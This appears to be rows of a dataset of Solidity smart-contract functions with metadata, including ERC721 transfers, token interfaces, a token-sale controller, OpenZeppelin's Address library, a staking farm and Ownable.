Sixzeros | contracts/ERC721B.sol | 0xb9aedc39d3371f1b169329faff3ea90255700840 | Solidity | ERC721B | abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
// Mapping from token ID to owner address
address[] internal _owners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _token... | safeTransferFrom | function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
| /**
* @dev See {IERC721-safeTransferFrom}.
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | {
"func_code_index": [
3322,
3483
]
} | 59,331 | ||||
Sixzeros | contracts/ERC721B.sol | 0xb9aedc39d3371f1b169329faff3ea90255700840 | Solidity | ERC721B | abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
// Mapping from token ID to owner address
address[] internal _owners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _token... | safeTransferFrom | function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
| /**
* @dev See {IERC721-safeTransferFrom}.
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | {
"func_code_index": [
3539,
3851
]
} | 59,332 | ||||
Sixzeros | contracts/ERC721B.sol | 0xb9aedc39d3371f1b169329faff3ea90255700840 | Solidity | ERC721B | abstract contract ERC721B is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
// Mapping from token ID to owner address
address[] internal _owners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _token... | _safeTransfer | function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
| //internal | LineComment | v0.8.11+commit.d7f03943 | {
"func_code_index": [
3866,
4165
]
} | 59,333 | ||||
StaticoinSummary | StaticoinSummary.sol | 0xd5085438af50e9d08011412351673ae00faae544 | Solidity | I_coin | contract I_coin {
event EventClear();
I_minter public mint;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like compari... | /** @title I_coin. */ | NatSpecMultiLine | mintCoin | function mintCoin(address target, uint256 mintedAmount) returns (bool success) {}
| //human 0.1 standard. Just an arbitrary versioning scheme. | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a | {
"func_code_index": [
510,
596
]
} | 59,334 | |
StaticoinSummary | StaticoinSummary.sol | 0xd5085438af50e9d08011412351673ae00faae544 | Solidity | I_coin | contract I_coin {
event EventClear();
I_minter public mint;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like compari... | /** @title I_coin. */ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) constant returns (uint256 balance) {}
| // @param _owner The address from which the balance will be retrieved
// @return The balance | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a | {
"func_code_index": [
1120,
1201
]
} | 59,335 | |
StaticoinSummary | StaticoinSummary.sol | 0xd5085438af50e9d08011412351673ae00faae544 | Solidity | I_coin | contract I_coin {
event EventClear();
I_minter public mint;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like compari... | /** @title I_coin. */ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) returns (bool success) {}
| // @notice send `_value` token to `_to` from `msg.sender`
// @param _to The address of the recipient
// @param _value The amount of token to be transferred
// @return Whether the transfer was successful or not | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a | {
"func_code_index": [
1436,
1513
]
} | 59,336 | |
StaticoinSummary | StaticoinSummary.sol | 0xd5085438af50e9d08011412351673ae00faae544 | Solidity | I_coin | contract I_coin {
event EventClear();
I_minter public mint;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like compari... | /** @title I_coin. */ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
| // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
// @param _from The address of the sender
// @param _to The address of the recipient
// @param _value The amount of token to be transferred
// @return Whether the transfer was successful or not | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a | {
"func_code_index": [
1833,
1929
]
} | 59,337 | |
StaticoinSummary | StaticoinSummary.sol | 0xd5085438af50e9d08011412351673ae00faae544 | Solidity | I_coin | contract I_coin {
event EventClear();
I_minter public mint;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like compari... | /** @title I_coin. */ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) returns (bool success) {}
| // @notice `msg.sender` approves `_addr` to spend `_value` tokens
// @param _spender The address of the account able to transfer the tokens
// @param _value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a | {
"func_code_index": [
2209,
2290
]
} | 59,338 | |
StaticoinSummary | StaticoinSummary.sol | 0xd5085438af50e9d08011412351673ae00faae544 | Solidity | I_coin | contract I_coin {
event EventClear();
I_minter public mint;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like compari... | /** @title I_coin. */ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
| // @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://f9cbbc0f327608a3323cf1c85e4e4cd15f518707895f9a3427be035a0d408b3a | {
"func_code_index": [
2663,
2760
]
} | 59,339 | |
SomeController | SomeController.sol | 0xe265cd62c7cb8f20f31789f7f12edb850caca294 | Solidity | TokenI | contract TokenI is ERC20Token, Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals = 18; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
function approveAndCall( address _spe... | approveAndCall | function approveAndCall( address _spender, uint256 _amount, bytes _extraData) public returns (bool success);
| //An identifier: e.g. REP | LineComment | v0.4.24+commit.e67f0147 | bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3 | {
"func_code_index": [
279,
392
]
} | 59,340 | |||
SomeController | SomeController.sol | 0xe265cd62c7cb8f20f31789f7f12edb850caca294 | Solidity | SomeController | contract SomeController is Controlled {
using SafeMath for uint256;
bool public paused;
//uint256 public startFundingTime;
//uint256 public endFundingTime;
uint256 public softCap; //软顶
uint256 public hardCap = 5000*10**18; //硬顶
uint256 public minFunding = 10*10**18; //最... | onTransfer | function onTransfer(address _from, address _to, uint _amount) public view returns(bool){
if ( _from == vaultAddress) {
return true;
}
_to;
_amount;
return false;
}
| /**
* @notice Notifies the controller about a transfer, for this PreTokenSale all transfers are allowed by default and no extra notifications are needed
* @param _from The origin of the transfer
* @param _to The destination of the transfer
* @param _amount The amount of the transfer
* @return False if the con... | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3 | {
"func_code_index": [
1649,
1880
]
} | 59,341 | |||
SomeController | SomeController.sol | 0xe265cd62c7cb8f20f31789f7f12edb850caca294 | Solidity | SomeController | contract SomeController is Controlled {
using SafeMath for uint256;
bool public paused;
//uint256 public startFundingTime;
//uint256 public endFundingTime;
uint256 public softCap; //软顶
uint256 public hardCap = 5000*10**18; //硬顶
uint256 public minFunding = 10*10**18; //最... | onApprove | function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){
if ( _owner == vaultAddress ) {
return true;
}
_spender;
_amount;
return false;
}
| /**
* @notice Notifies the controller about an approval, for this PreTokenSale all
* approvals are allowed by default and no extra notifications are needed
* @param _owner The address that calls `approve()`
* @param _spender The spender in the `approve()` call
* @param _amount The amount in the `approve()` ca... | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3 | {
"func_code_index": [
2312,
2555
]
} | 59,342 | |||
SomeController | SomeController.sol | 0xe265cd62c7cb8f20f31789f7f12edb850caca294 | Solidity | SomeController | contract SomeController is Controlled {
using SafeMath for uint256;
bool public paused;
//uint256 public startFundingTime;
//uint256 public endFundingTime;
uint256 public softCap; //软顶
uint256 public hardCap = 5000*10**18; //硬顶
uint256 public minFunding = 10*10**18; //最... | fixFunding | function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public {
require(_owner.length == _value.length, "length of address is different with value");
require(_steps.length == _percents.length, "length of steps is different with percents");
address ownerN... | /// @dev `doPayment()` is an internal function that sends the ether that this
/// contract receives to the `vault` and creates tokens in the address of the
/// `_owner` assuming the PreTokenSale is still accepting funds
/// @param _owner The address that will hold the newly created tokens | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3 | {
"func_code_index": [
2872,
3878
]
} | 59,343 | |||
SomeController | SomeController.sol | 0xe265cd62c7cb8f20f31789f7f12edb850caca294 | Solidity | SomeController | contract SomeController is Controlled {
using SafeMath for uint256;
bool public paused;
//uint256 public startFundingTime;
//uint256 public endFundingTime;
uint256 public softCap; //软顶
uint256 public hardCap = 5000*10**18; //硬顶
uint256 public minFunding = 10*10**18; //最... | changeToken | function changeToken(address _newToken) onlyController public {
tokenContract = Token(_newToken);
}
| /**
* 修改所控 Token 合约
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3 | {
"func_code_index": [
4071,
4189
]
} | 59,344 | |||
SomeController | SomeController.sol | 0xe265cd62c7cb8f20f31789f7f12edb850caca294 | Solidity | SomeController | contract SomeController is Controlled {
using SafeMath for uint256;
bool public paused;
//uint256 public startFundingTime;
//uint256 public endFundingTime;
uint256 public softCap; //软顶
uint256 public hardCap = 5000*10**18; //硬顶
uint256 public minFunding = 10*10**18; //最... | pauseContribution | function pauseContribution() onlyController public {
paused = true;
}
| /// @notice Pauses the contribution if there is any issue | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3 | {
"func_code_index": [
4382,
4470
]
} | 59,345 | |||
SomeController | SomeController.sol | 0xe265cd62c7cb8f20f31789f7f12edb850caca294 | Solidity | SomeController | contract SomeController is Controlled {
using SafeMath for uint256;
bool public paused;
//uint256 public startFundingTime;
//uint256 public endFundingTime;
uint256 public softCap; //软顶
uint256 public hardCap = 5000*10**18; //硬顶
uint256 public minFunding = 10*10**18; //最... | resumeContribution | function resumeContribution() onlyController public {
paused = false;
}
| /// @notice Resumes the contribution | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3 | {
"func_code_index": [
4515,
4605
]
} | 59,346 | |||
SomeController | SomeController.sol | 0xe265cd62c7cb8f20f31789f7f12edb850caca294 | Solidity | SomeController | contract SomeController is Controlled {
using SafeMath for uint256;
bool public paused;
//uint256 public startFundingTime;
//uint256 public endFundingTime;
uint256 public softCap; //软顶
uint256 public hardCap = 5000*10**18; //硬顶
uint256 public minFunding = 10*10**18; //最... | isContract | function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
| /// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://87dc904844ab32edc95691aae34471986826e11b2f353d4753869f3984915ec3 | {
"func_code_index": [
5144,
5412
]
} | 59,347 | |||
Aeternalism | @openzeppelin/contracts/utils/Address.sol | 0xd932ba8adf16009e5571648e070f9eebb2f259c0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
... | /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | Unlicense | ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b | {
"func_code_index": [
606,
1033
]
} | 59,348 |
Aeternalism | @openzeppelin/contracts/utils/Address.sol | 0xd932ba8adf16009e5571648e070f9eebb2f259c0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address... | /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `tr... | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | Unlicense | ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b | {
"func_code_index": [
1963,
2365
]
} | 59,349 |
Aeternalism | @openzeppelin/contracts/utils/Address.sol | 0xd932ba8adf16009e5571648e070f9eebb2f259c0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw ... | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | Unlicense | ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b | {
"func_code_index": [
3121,
3299
]
} | 59,350 |
Aeternalism | @openzeppelin/contracts/utils/Address.sol | 0xd932ba8adf16009e5571648e070f9eebb2f259c0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | Unlicense | ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b | {
"func_code_index": [
3524,
3724
]
} | 59,351 |
Aeternalism | @openzeppelin/contracts/utils/Address.sol | 0xd932ba8adf16009e5571648e070f9eebb2f259c0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | Unlicense | ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b | {
"func_code_index": [
4094,
4325
]
} | 59,352 |
Aeternalism | @openzeppelin/contracts/utils/Address.sol | 0xd932ba8adf16009e5571648e070f9eebb2f259c0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disa... | /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | Unlicense | ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b | {
"func_code_index": [
4576,
5111
]
} | 59,353 |
Aeternalism | @openzeppelin/contracts/utils/Address.sol | 0xd932ba8adf16009e5571648e070f9eebb2f259c0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionStaticCall | function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | Unlicense | ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b | {
"func_code_index": [
5291,
5495
]
} | 59,354 |
Aeternalism | @openzeppelin/contracts/utils/Address.sol | 0xd932ba8adf16009e5571648e070f9eebb2f259c0 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionStaticCall | function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.stat... | /**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/ | NatSpecMultiLine | v0.7.5+commit.eb77ed08 | Unlicense | ipfs://baff47745271756bebef2d53b613e91d065de4b1f386294de9e7600221bfe01b | {
"func_code_index": [
5682,
6109
]
} | 59,355 |
USDT | contracts/USDT.sol | 0xa38b0451d32b42c5bd5ddc43aefc17e4f345a5f7 | Solidity | USDT | contract USDT is FarmTokenWrapper, IRewardDistributionRecipient {
IERC20 public RewardToken = IERC20(0x72C1123c8e57d75fbF36478544b64cDe0Abe7F1B);
uint256 public constant DURATION = 14 days;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uin... | stake | function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
getReward();
super.stake(amount);
emit Staked(msg.sender, amount);
}
| // stake visibility is public as overriding LPTokenWrapper's stake() function | LineComment | v0.5.16+commit.9c3226ce | MIT | bzzr://4fa95865fa10e72b8c5f54327adda7d21bf3896a8526e54ea4ea4779ce2d4fe7 | {
"func_code_index": [
2090,
2308
]
} | 59,356 | ||
USDT | contracts/USDT.sol | 0xa38b0451d32b42c5bd5ddc43aefc17e4f345a5f7 | Solidity | USDT | contract USDT is FarmTokenWrapper, IRewardDistributionRecipient {
IERC20 public RewardToken = IERC20(0x72C1123c8e57d75fbF36478544b64cDe0Abe7F1B);
uint256 public constant DURATION = 14 days;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uin... | dev | function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
| // Update dev address by the previous dev. | LineComment | v0.5.16+commit.9c3226ce | MIT | bzzr://4fa95865fa10e72b8c5f54327adda7d21bf3896a8526e54ea4ea4779ce2d4fe7 | {
"func_code_index": [
4100,
4234
]
} | 59,357 | ||
FirstGold | FirstGold.sol | 0xac2ef2bbeb7a749fdf2c75f18b15a208bc44646c | Solidity | Ownable | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_set... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | owner | function owner() public view virtual returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | None | ipfs://d4bd291a99209ae227361d6d13639761ed029b72b8cad060e1da1b9a0998a706 | {
"func_code_index": [
424,
516
]
} | 59,358 |
FirstGold | FirstGold.sol | 0xac2ef2bbeb7a749fdf2c75f18b15a208bc44646c | Solidity | Ownable | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_set... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | None | ipfs://d4bd291a99209ae227361d6d13639761ed029b72b8cad060e1da1b9a0998a706 | {
"func_code_index": [
1075,
1174
]
} | 59,359 |
FirstGold | FirstGold.sol | 0xac2ef2bbeb7a749fdf2c75f18b15a208bc44646c | Solidity | Ownable | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_set... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | None | ipfs://d4bd291a99209ae227361d6d13639761ed029b72b8cad060e1da1b9a0998a706 | {
"func_code_index": [
1324,
1558
]
} | 59,360 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.